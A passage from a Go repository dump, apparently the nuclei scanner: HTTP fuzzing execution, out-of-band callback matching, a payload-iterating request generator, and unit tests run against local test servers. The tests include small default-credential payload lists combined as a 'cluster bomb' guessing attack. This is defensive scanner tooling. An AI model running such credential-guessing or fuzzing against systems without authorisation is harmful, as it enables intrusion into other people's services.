fuzzing when only URL is provided =====\n\n\t// we need to use this url instead of input\n\tinputx := input.Clone()\n\tparsed, err := urlutil.ParseAbsoluteURL(input.MetaInput.Input, true)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"fuzz: could not parse input url\")\n\t}\n\tbaseRequest, err := retryablehttp.NewRequestFromURL(http.MethodGet, parsed, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"fuzz: could not build request from url\")\n\t}\n\tuserAgent := useragent.PickRandom()\n\tbaseRequest.Header.Set(\"User-Agent\", userAgent.Raw)\n\trequest.addHeadersToRequest(baseRequest)\n\n\t// execute with one value first to checks its applicability\n\terr = request.executeAllFuzzingRules(inputx, previous, baseRequest, callback)\n\tif err != nil {\n\t\t// in case of any error, return it\n\t\tif fuzz.IsErrRuleNotApplicable(err) {\n\t\t\t// log and fail silently\n\t\t\tgologger.Verbose().Msgf(\"[%s] fuzz: %s\\n\", request.options.TemplateID, err)\n\t\t\treturn nil\n\t\t}\n\t\tif errors.Is(err, ErrMissingVars) {\n\t\t\treturn err\n\t\t}\n\t\tgologger.Verbose().Msgf(\"[%s] fuzz: payload request execution failed: %s\\n\", request.options.TemplateID, err)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) addHeadersToRequest(baseRequest *retryablehttp.Request) {\n\tfor k, v := range request.Headers {\n\t\tbaseRequest.Header.Set(k, v)\n\t}\n}\n\n// executeAllFuzzingRules executes all fuzzing rules defined in template for a given base request\nfunc (request *Request) executeAllFuzzingRules(input *contextargs.Context, values map[string]interface{}, baseRequest *retryablehttp.Request, callback protocols.OutputEventCallback) error {\n\tapplicable := false\n\tvalues = generators.MergeMaps(request.filterDataMap(input), values)\n\tfor _, rule := range request.Fuzzing {\n\t\tselect {\n\t\tcase <-input.Context().Done():\n\t\t\treturn input.Context().Err()\n\t\tdefault:\n\t\t}\n\n\t\tinput := &fuzz.ExecuteRuleInput{\n\t\t\tInput:             input,\n\t\t\tDisplayFuzzPoints: request.options.Options.DisplayFuzzPoints,\n\t\t\tCallback: func(gr fuzz.GeneratedRequest) bool {\n\t\t\t\tselect {\n\t\t\t\tcase <-input.Context().Done():\n\t\t\t\t\treturn false\n\t\t\t\tdefault:\n\t\t\t\t}\n\n\t\t\t\t// TODO: replace this after scanContext Refactor\n\t\t\t\treturn request.executeGeneratedFuzzingRequest(gr, input, callback)\n\t\t\t},\n\t\t\tValues:      values,\n\t\t\tBaseRequest: baseRequest.Clone(context.TODO()),\n\t\t}\n\t\tif request.Analyzer != nil {\n\t\t\tanalyzer := analyzers.GetAnalyzer(request.Analyzer.Name)\n\t\t\tinput.ApplyPayloadInitialTransformation = analyzer.ApplyInitialTransformation\n\t\t\tinput.AnalyzerParams = request.Analyzer.Parameters\n\t\t}\n\t\terr := rule.Execute(input)\n\t\tif err == nil {\n\t\t\tapplicable = true\n\t\t\tcontinue\n\t\t}\n\t\tif fuzz.IsErrRuleNotApplicable(err) {\n\t\t\tgologger.Verbose().Msgf(\"[%s] fuzz: %s\\n\", request.options.TemplateID, err)\n\t\t\tcontinue\n\t\t}\n\t\tif err == types.ErrNoMoreRequests {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.Wrap(err, \"could not execute rule\")\n\t}\n\n\tif !applicable {\n\t\treturn fmt.Errorf(\"no rule was applicable for this request: %v\", input.MetaInput.Input)\n\t}\n\n\treturn nil\n}\n\n// executeGeneratedFuzzingRequest executes a generated fuzzing request after building it using rules and payloads\nfunc (request *Request) executeGeneratedFuzzingRequest(gr fuzz.GeneratedRequest, input *contextargs.Context, callback protocols.OutputEventCallback) bool {\n\thasInteractMatchers := interactsh.HasMatchers(request.CompiledOperators)\n\thasInteractMarkers := len(gr.InteractURLs) > 0\n\tif request.options.HostErrorsCache != nil && request.options.HostErrorsCache.Check(request.options.ProtocolType.String(), input) {\n\t\treturn false\n\t}\n\trequest.options.RateLimitTake()\n\treq := &generatedRequest{\n\t\trequest:              gr.Request,\n\t\tdynamicValues:        gr.DynamicValues,\n\t\tinteractshURLs:       gr.InteractURLs,\n\t\toriginal:             request,\n\t\tfuzzGeneratedRequest: gr,\n\t}\n\tvar gotMatches bool\n\trequestErr := request.executeRequest(input, req, gr.DynamicValues, hasInteractMatchers, func(event *output.InternalWrappedEvent) {\n\t\tfor _, result := range event.Results {\n\t\t\tresult.IsFuzzingResult = true\n\t\t\tresult.FuzzingMethod = gr.Request.Method\n\t\t\tresult.FuzzingParameter = gr.Parameter\n\t\t\tresult.FuzzingPosition = gr.Component.Name()\n\t\t}\n\n\t\tsetInteractshCallback := false\n\t\tif hasInteractMarkers && hasInteractMatchers && request.options.Interactsh != nil {\n\t\t\trequestData := &interactsh.RequestData{\n\t\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\t\tEvent:          event,\n\t\t\t\tOperators:      request.CompiledOperators,\n\t\t\t\tMatchFunc:      request.Match,\n\t\t\t\tExtractFunc:    request.Extract,\n\t\t\t\tParameter:      gr.Parameter,\n\t\t\t\tRequest:        gr.Request,\n\t\t\t}\n\t\t\tsetInteractshCallback = true\n\t\t\trequest.options.Interactsh.RequestEvent(gr.InteractURLs, requestData)\n\t\t\tgotMatches = request.options.Interactsh.AlreadyMatched(requestData)\n\t\t} else {\n\t\t\tcallback(event)\n\t\t}\n\t\t// Add the extracts to the dynamic values if any.\n\t\tif event.OperatorsResult != nil {\n\t\t\tgotMatches = event.OperatorsResult.Matched\n\t\t}\n\t\tif request.options.FuzzParamsFrequency != nil && !setInteractshCallback {\n\t\t\tif !gotMatches {\n\t\t\t\trequest.options.FuzzParamsFrequency.MarkParameter(gr.Parameter, gr.Request.String(), request.options.TemplateID)\n\t\t\t} else {\n\t\t\t\trequest.options.FuzzParamsFrequency.UnmarkParameter(gr.Parameter, gr.Request.String(), request.options.TemplateID)\n\t\t\t}\n\t\t}\n\t}, 0)\n\t// If a variable is unresolved, skip all further requests\n\tif errors.Is(requestErr, ErrMissingVars) {\n\t\treturn false\n\t}\n\tif requestErr != nil {\n\t\tgologger.Verbose().Msgf(\"[%s] Error occurred in request: %s\\n\", request.options.TemplateID, requestErr)\n\t}\n\tif request.options.HostErrorsCache != nil {\n\t\trequest.options.HostErrorsCache.MarkFailedOrRemove(request.options.ProtocolType.String(), input, requestErr)\n\t}\n\trequest.options.Progress.IncrementRequests()\n\n\t// If this was a match, and we want to stop at first match, skip all further requests.\n\tshouldStopAtFirstMatch := request.options.Options.StopAtFirstMatch || request.StopAtFirstMatch\n\tif shouldStopAtFirstMatch && gotMatches {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// ShouldFuzzTarget checks if given target should be fuzzed or not using `filter` field in template\nfunc (request *Request) ShouldFuzzTarget(input *contextargs.Context) bool {\n\tif len(request.FuzzPreCondition) == 0 {\n\t\treturn true\n\t}\n\tstatus := []bool{}\n\tfor index, filter := range request.FuzzPreCondition {\n\t\tdataMap := request.filterDataMap(input)\n\t\t// dump if svd is enabled\n\t\tif request.options.Options.ShowVarDump {\n\t\t\tgologger.Debug().Msgf(\"Fuzz Filter Variables: \\n%s\\n\", vardump.DumpVariables(dataMap))\n\t\t}\n\t\tisMatch, _ := request.Match(dataMap, filter)\n\t\tstatus = append(status, isMatch)\n\t\tif request.options.Options.MatcherStatus {\n\t\t\tgologger.Debug().Msgf(\"[%s] [%s] Filter => %s : %v\", input.MetaInput.Target(), request.options.TemplateID, operators.GetMatcherName(filter, index), isMatch)\n\t\t}\n\t}\n\tif len(status) == 0 {\n\t\treturn true\n\t}\n\tvar matched bool\n\tif request.fuzzPreConditionOperator == matchers.ANDCondition {\n\t\tmatched = operators.EvalBoolSlice(status, true)\n\t} else {\n\t\tmatched = operators.EvalBoolSlice(status, false)\n\t}\n\tif request.options.Options.MatcherStatus {\n\t\tgologger.Debug().Msgf(\"[%s] [%s] Final Filter Status =>  %v\", input.MetaInput.Target(), request.options.TemplateID, matched)\n\t}\n\treturn matched\n}\n\n// input data map returns map[string]interface{} from input\nfunc (request *Request) filterDataMap(input *contextargs.Context) map[string]interface{} {\n\tm := make(map[string]interface{})\n\tparsed, err := input.MetaInput.URL()\n\tif err != nil {\n\t\tm[\"host\"] = input.MetaInput.Input\n\t\treturn m\n\t}\n\tm = protocolutils.GenerateVariables(parsed, true, m)\n\tfor k, v := range m {\n\t\tm[strings.ToLower(k)] = v\n\t}\n\tm[\"path\"] = parsed.Path // override existing\n\tm[\"query\"] = parsed.RawQuery\n\t// add request data like headers, body etc\n\tif input.MetaInput.ReqResp != nil && input.MetaInput.ReqResp.Request != nil {\n\t\treq := input.MetaInput.ReqResp.Request\n\t\tm[\"method\"] = req.Method\n\t\tm[\"body\"] = req.Body\n\n\t\tsb := &strings.Builder{}\n\t\treq.Headers.Iterate(func(k, v string) bool {\n\t\t\tk = strings.ToLower(strings.ReplaceAll(strings.TrimSpace(k), \"-\", \"_\"))\n\t\t\tif strings.EqualFold(k, \"Cookie\") {\n\t\t\t\tm[\"cookie\"] = v\n\t\t\t}\n\t\t\tif strings.EqualFold(k, \"User_Agent\") {\n\t\t\t\tm[\"user_agent\"] = v\n\t\t\t}\n\t\t\tif strings.EqualFold(k, \"content_type\") {\n\t\t\t\tm[\"content_type\"] = v\n\t\t\t}\n\t\t\t_, _ = fmt.Fprintf(sb, \"%s: %s\\n\", k, v)\n\t\t\treturn true\n\t\t})\n\t\tm[\"header\"] = sb.String()\n\t} else {\n\t\t// add default method value\n\t\tm[\"method\"] = http.MethodGet\n\t}\n\treturn m\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_generator.go",
    "content": "package http\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n)\n\n// requestGenerator generates requests sequentially based on various\n// configurations for a http request template.\n//\n// If payload values are present, an iterator is created for the payload\n// values. Paths and Raw requests are supported as base input, so\n// it will automatically select between them based on the template.\ntype requestGenerator struct {\n\tcurrentIndex     int\n\tcurrentPayloads  map[string]interface{}\n\tokCurrentPayload bool\n\trequest          *Request\n\toptions          *protocols.ExecutorOptions\n\tpayloadIterator  *generators.Iterator\n\tinteractshURLs   []string\n\tonceFlow         map[string]struct{}\n}\n\n// LeaveDefaultPorts skips normalization of default standard ports\nvar LeaveDefaultPorts = false\n\n// newGenerator creates a new request generator instance\nfunc (request *Request) newGenerator(disablePayloads bool) *requestGenerator {\n\tgenerator := &requestGenerator{\n\t\trequest:  request,\n\t\toptions:  request.options,\n\t\tonceFlow: make(map[string]struct{}),\n\t}\n\n\tif len(request.Payloads) > 0 && !disablePayloads {\n\t\tgenerator.payloadIterator = request.generator.NewIterator()\n\t}\n\treturn generator\n}\n\n// nextValue returns the next path or the next raw request depending on user input\n// It returns false if all the inputs have been exhausted by the generator instance.\nfunc (r *requestGenerator) nextValue() (value string, payloads map[string]interface{}, result bool) {\n\t// Iterate each payload sequentially for each request path/raw\n\t//\n\t// If the sequence has finished for the current payload values\n\t// then restart the sequence from the beginning and move on to the next payloads values\n\t// otherwise use the last request.\n\tvar sequence []string\n\tswitch {\n\tcase len(r.request.Path) > 0:\n\t\tsequence = r.request.Path\n\tcase len(r.request.Raw) > 0:\n\t\tsequence = r.request.Raw\n\tdefault:\n\t\treturn \"\", nil, false\n\t}\n\n\thasPayloadIterator := r.payloadIterator != nil\n\n\tif hasPayloadIterator && r.currentPayloads == nil {\n\t\tr.currentPayloads, r.okCurrentPayload = r.payloadIterator.Value()\n\t}\n\n\tvar request string\n\tvar shouldContinue bool\n\tif nextRequest, nextIndex, found := r.findNextIteration(sequence, r.currentIndex); found {\n\t\tr.currentIndex = nextIndex + 1\n\t\trequest = nextRequest\n\t\tshouldContinue = true\n\t} else {\n\t\t// if found is false which happens at end of iteration of reqData(path or raw request)\n\t\t// try again from start with index 0\n\t\tif nextRequest, nextIndex, found := r.findNextIteration(sequence, 0); found && hasPayloadIterator {\n\t\t\tr.currentIndex = nextIndex + 1\n\t\t\trequest = nextRequest\n\t\t\tshouldContinue = true\n\t\t}\n\t}\n\n\tif shouldContinue {\n\t\tif r.hasMarker(request, Once) {\n\t\t\tr.applyMark(request, Once)\n\t\t}\n\t\tif hasPayloadIterator {\n\t\t\treturn request, generators.CopyMap(r.currentPayloads), r.okCurrentPayload\n\t\t}\n\t\t// next should return a copy of payloads and not pointer to payload to avoid data race\n\t\treturn request, generators.CopyMap(r.currentPayloads), true\n\t} else {\n\t\treturn \"\", nil, false\n\t}\n}\n\n// findNextIteration iterates and returns next Request(path or raw request)\n// at end of each iteration payload is incremented\nfunc (r *requestGenerator) findNextIteration(sequence []string, index int) (string, int, bool) {\n\tfor i, request := range sequence[index:] {\n\t\tif r.wasMarked(request, Once) {\n\t\t\t// if request contains flowmark i.e `@once` and is marked skip it\n\t\t\tcontinue\n\t\t}\n\t\treturn request, index + i, true\n\n\t}\n\t// move on to next payload if current payload is applied/returned for all Requests(path or raw request)\n\tif r.payloadIterator != nil {\n\t\tr.currentPayloads, r.okCurrentPayload = r.payloadIterator.Value()\n\t}\n\treturn \"\", 0, false\n}\n\n// applyMark marks given request i.e blacklist request\nfunc (r *requestGenerator) applyMark(request string, mark flowMark) {\n\tswitch mark {\n\tcase Once:\n\t\tr.onceFlow[request] = struct{}{}\n\t}\n\n}\n\n// wasMarked checks if request is marked using request blacklist\nfunc (r *requestGenerator) wasMarked(request string, mark flowMark) bool {\n\tswitch mark {\n\tcase Once:\n\t\t_, ok := r.onceFlow[request]\n\t\treturn ok\n\t}\n\treturn false\n}\n\n// hasMarker returns true if request has a marker (ex: @once which means request should only be executed once)\nfunc (r *requestGenerator) hasMarker(request string, mark flowMark) bool {\n\tfo, hasOverrides := parseFlowAnnotations(request)\n\treturn hasOverrides && fo == mark\n}\n\n// Remaining returns the number of requests that are still left to be\n// generated (and therefore to be sent) by this generator.\nfunc (r *requestGenerator) Remaining() int {\n\tvar sequence []string\n\tswitch {\n\tcase len(r.request.Path) > 0:\n\t\tsequence = r.request.Path\n\tcase len(r.request.Raw) > 0:\n\t\tsequence = r.request.Raw\n\tdefault:\n\t\treturn 0\n\t}\n\n\tremainingInCurrentPass := 0\n\tfor i := r.currentIndex; i < len(sequence); i++ {\n\t\tif !r.hasMarker(sequence[i], Once) {\n\t\t\tremainingInCurrentPass++\n\t\t}\n\t}\n\n\tif r.payloadIterator == nil {\n\t\treturn remainingInCurrentPass\n\t}\n\n\tnumRemainingPayloadSets := r.payloadIterator.Remaining()\n\ttotalValidInSequence := 0\n\tfor _, req := range sequence {\n\t\tif !r.hasMarker(req, Once) {\n\t\t\ttotalValidInSequence++\n\t\t}\n\t}\n\n\t// Total remaining = remaining in current pass + (remaining payload sets * requests per full pass)\n\treturn remainingInCurrentPass + numRemainingPayloadSets*totalValidInSequence\n}\n\nfunc (r *requestGenerator) Total() int {\n\tvar sequence []string\n\tswitch {\n\tcase len(r.request.Path) > 0:\n\t\tsequence = r.request.Path\n\tcase len(r.request.Raw) > 0:\n\t\tsequence = r.request.Raw\n\tdefault:\n\t\treturn 0\n\t}\n\n\tapplicableRequests := 0\n\tadditionalRequests := 0\n\tfor _, request := range sequence {\n\t\tif !r.hasMarker(request, Once) {\n\t\t\tapplicableRequests++\n\t\t} else {\n\t\t\tadditionalRequests++\n\t\t}\n\t}\n\n\tif r.payloadIterator == nil {\n\t\treturn applicableRequests + additionalRequests\n\t}\n\n\treturn (applicableRequests * r.payloadIterator.Total()) + additionalRequests\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_generator_test.go",
    "content": "package http\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nfunc TestRequestGeneratorPaths(t *testing.T) {\n\treq := &Request{\n\t\tPath: []string{\"{{BaseURL}}/test\", \"{{BaseURL}}/test.php\"},\n\t}\n\tgenerator := req.newGenerator(false)\n\tvar payloads []string\n\tfor {\n\t\traw, _, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tpayloads = append(payloads, raw)\n\t}\n\trequire.Equal(t, req.Path, payloads, \"Could not get correct paths\")\n}\n\nfunc TestRequestGeneratorClusterBombSingle(t *testing.T) {\n\tvar err error\n\n\treq := &Request{\n\t\tPayloads:   map[string]interface{}{\"username\": []string{\"admin\", \"tomcat\", \"manager\"}, \"password\": []string{\"password\", \"test\", \"secret\"}},\n\t\tAttackType: generators.AttackTypeHolder{Value: generators.ClusterBombAttack},\n\t\tRaw:        []string{`GET /{{username}}:{{password}} HTTP/1.1`},\n\t}\n\tcatalogInstance := disk.NewCatalog(\"\")\n\treq.generator, err = generators.New(req.Payloads, req.AttackType.Value, \"\", catalogInstance, \"\", types.DefaultOptions())\n\trequire.Nil(t, err, \"could not create generator\")\n\n\tgenerator := req.newGenerator(false)\n\tvar payloads []map[string]interface{}\n\tfor {\n\t\t_, data, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tpayloads = append(payloads, data)\n\t}\n\trequire.Equal(t, 9, len(payloads), \"Could not get correct number of payloads\")\n}\n\nfunc TestRequestGeneratorClusterBombMultipleRaw(t *testing.T) {\n\tvar err error\n\n\treq := &Request{\n\t\tPayloads:   map[string]interface{}{\"username\": []string{\"admin\", \"tomcat\", \"manager\"}, \"password\": []string{\"password\", \"test\", \"secret\"}},\n\t\tAttackType: generators.AttackTypeHolder{Value: generators.ClusterBombAttack},\n\t\tRaw:        []string{`GET /{{username}}:{{password}} HTTP/1.1`, `GET /{{username}}@{{password}} HTTP/1.1`},\n\t}\n\tcatalogInstance := disk.NewCatalog(\"\")\n\treq.generator, err = generators.New(req.Payloads, req.AttackType.Value, \"\", catalogInstance, \"\", types.DefaultOptions())\n\trequire.Nil(t, err, \"could not create generator\")\n\n\tgenerator := req.newGenerator(false)\n\tvar payloads []map[string]interface{}\n\tfor {\n\t\t_, data, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tpayloads = append(payloads, data)\n\t}\n\trequire.Equal(t, 18, len(payloads), \"Could not get correct number of payloads\")\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_test.go",
    "content": "package http\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/tarunKoyalwar/goleak\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestHTTPExtractMultipleReuse(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID: templateID,\n\t\tRaw: []string{\n\t\t\t`GET /robots.txt HTTP/1.1\n\t\t\tHost: {{Hostname}}\n\t\t\tUser-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\n\t\t\tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n\t\t\tAccept-Language: en-US,en;q=0.5\n\t\t\t`,\n\n\t\t\t`GET {{endpoint}} HTTP/1.1\n\t\t\tHost: {{Hostname}}\n\t\t\tUser-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\n\t\t\tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n\t\t\tAccept-Language: en-US,en;q=0.5\n\t\t\t`,\n\t\t},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tPart:  \"body\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"match /a\", \"match /b\", \"match /c\"},\n\t\t\t}},\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:     \"body\",\n\t\t\t\tName:     \"endpoint\",\n\t\t\t\tType:     extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex:    []string{\"(?m)/([a-zA-Z0-9-_/\\\\\\\\]+)\"},\n\t\t\t\tInternal: true,\n\t\t\t}},\n\t\t},\n\t\tIterateAll: true,\n\t}\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.URL.Path {\n\t\tcase \"/robots.txt\":\n\t\t\t_, _ = fmt.Fprintf(w, `User-agent: Googlebot\nDisallow: /a\nDisallow: /b\nDisallow: /c`)\n\t\tdefault:\n\t\t\t_, _ = fmt.Fprintf(w, `match %v`, r.URL.Path)\n\t\t}\n\t}))\n\tdefer ts.Close()\n\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\tvar finalEvent *output.InternalWrappedEvent\n\tvar matchCount int\n\tt.Run(\"test\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tif event.OperatorsResult != nil && event.OperatorsResult.Matched {\n\t\t\t\tmatchCount++\n\t\t\t}\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute network request\")\n\t})\n\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\trequire.Equal(t, 3, matchCount, \"could not get correct match count\")\n}\n\nfunc TestDisableTE(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"http-disable-transfer-encoding\"\n\n\t// in raw request format\n\trequest := &Request{\n\t\tID: templateID,\n\t\tRaw: []string{\n\t\t\t`POST / HTTP/1.1\n\t\t\tHost: {{Hostname}}\n\t\t\tUser-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\n\t\t\tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n\t\t\tAccept-Language: en-US,en;q=0.5\n\n\t\t\tlogin=1&username=admin&password=admin\n\t\t\t`,\n\t\t},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tType:   matchers.MatcherTypeHolder{MatcherType: matchers.StatusMatcher},\n\t\t\t\tStatus: []int{200},\n\t\t\t}},\n\t\t},\n\t}\n\n\t// in base request format\n\trequest2 := &Request{\n\t\tID:     templateID,\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPPost},\n\t\tPath:   []string{\"{{BaseURL}}\"},\n\t\tBody:   \"login=1&username=admin&password=admin\",\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tType:   matchers.MatcherTypeHolder{MatcherType: matchers.StatusMatcher},\n\t\t\t\tStatus: []int{200},\n\t\t\t}},\n\t\t},\n\t}\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif len(r.TransferEncoding) > 0 || r.ContentLength <= 0 {\n\t\t\tt.Error(\"Transfer-Encoding header should not be set\")\n\t\t}\n\t}))\n\tdefer ts.Close()\n\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http raw request\")\n\n\terr = request2.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http base request\")\n\n\tvar finalEvent *output.InternalWrappedEvent\n\tvar matchCount int\n\tt.Run(\"test\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tif event.OperatorsResult != nil && event.OperatorsResult.Matched {\n\t\t\t\tmatchCount++\n\t\t\t}\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute network request\")\n\t})\n\n\tt.Run(\"test2\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\t\terr := request2.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tif event.OperatorsResult != nil && event.OperatorsResult.Matched {\n\t\t\t\tmatchCount++\n\t\t\t}\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute network request\")\n\t})\n\n\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\trequire.Equal(t, 2, matchCount, \"could not get correct match count\")\n}\n\n// consult @Ice3man543 before making any breaking changes to this test (context: vuln_hash)\nfunc TestReqURLPattern(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\t// assume this was a preprocessor\n\t// {{randstr}} => 2eNU2kbrOcUDzhnUL1RGvSo1it7\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID: templateID,\n\t\tRaw: []string{\n\t\t\t`GET /{{rand_char(\"abc\")}}/{{interactsh-url}}/123?query={{rand_int(1, 10)}}&data=2eNU2kbrOcUDzhnUL1RGvSo1it7 HTTP/1.1\n\t\t\tHost: {{Hostname}}\n\t\t\tUser-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\n\t\t\tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n\t\t\tAccept-Language: en-US,en;q=0.5\n\t\t\t`,\n\t\t},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tType: matchers.MatcherTypeHolder{MatcherType: matchers.DSLMatcher},\n\t\t\t\tDSL:  []string{\"true\"},\n\t\t\t}},\n\t\t},\n\t\tIterateAll: true,\n\t}\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// always return 200\n\t\tw.WriteHeader(200)\n\t\t_, _ = w.Write([]byte(`match`))\n\t}))\n\tdefer ts.Close()\n\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\tclient, _ := interactsh.New(interactsh.DefaultOptions(executerOpts.Output, nil, executerOpts.Progress))\n\texecuterOpts.Interactsh = client\n\tdefer client.Close()\n\texecuterOpts.ExportReqURLPattern = true\n\n\t// this is how generated constants are added to template\n\t// generated constants are preprocessors that are executed while loading once\n\texecuterOpts.Constants = map[string]interface{}{\n\t\t\"{{randstr}}\": \"2eNU2kbrOcUDzhnUL1RGvSo1it7\",\n\t}\n\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\tvar finalEvent *output.InternalWrappedEvent\n\tvar matchCount int\n\tt.Run(\"test\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tif event.OperatorsResult != nil && event.OperatorsResult.Matched {\n\t\t\t\tmatchCount++\n\t\t\t}\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute network request\")\n\t})\n\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\trequire.Equal(t, 1, matchCount, \"could not get correct match count\")\n\trequire.NotEmpty(t, finalEvent.Results[0].ReqURLPattern, \"could not get req url pattern\")\n\trequire.Equal(t, `/{{rand_char(\"abc\")}}/{{interactsh-url}}/123?query={{rand_int(1, 10)}}&data={{randstr}}`, finalEvent.Results[0].ReqURLPattern)\n}\n\n// fakeHostErrorsCache implements hosterrorscache.CacheInterface minimally for tests\ntype fakeHostErrorsCache struct{}\n\nfunc (f *fakeHostErrorsCache) SetVerbose(bool)                                {}\nfunc (f *fakeHostErrorsCache) Close()                                         {}\nfunc (f *fakeHostErrorsCache) Remove(*contextargs.Context)                    {}\nfunc (f *fakeHostErrorsCache) MarkFailed(string, *contextargs.Context, error) {}\nfunc (f *fakeHostErrorsCache) MarkFailedOrRemove(string, *contextargs.Context, error) {\n}\n\n// 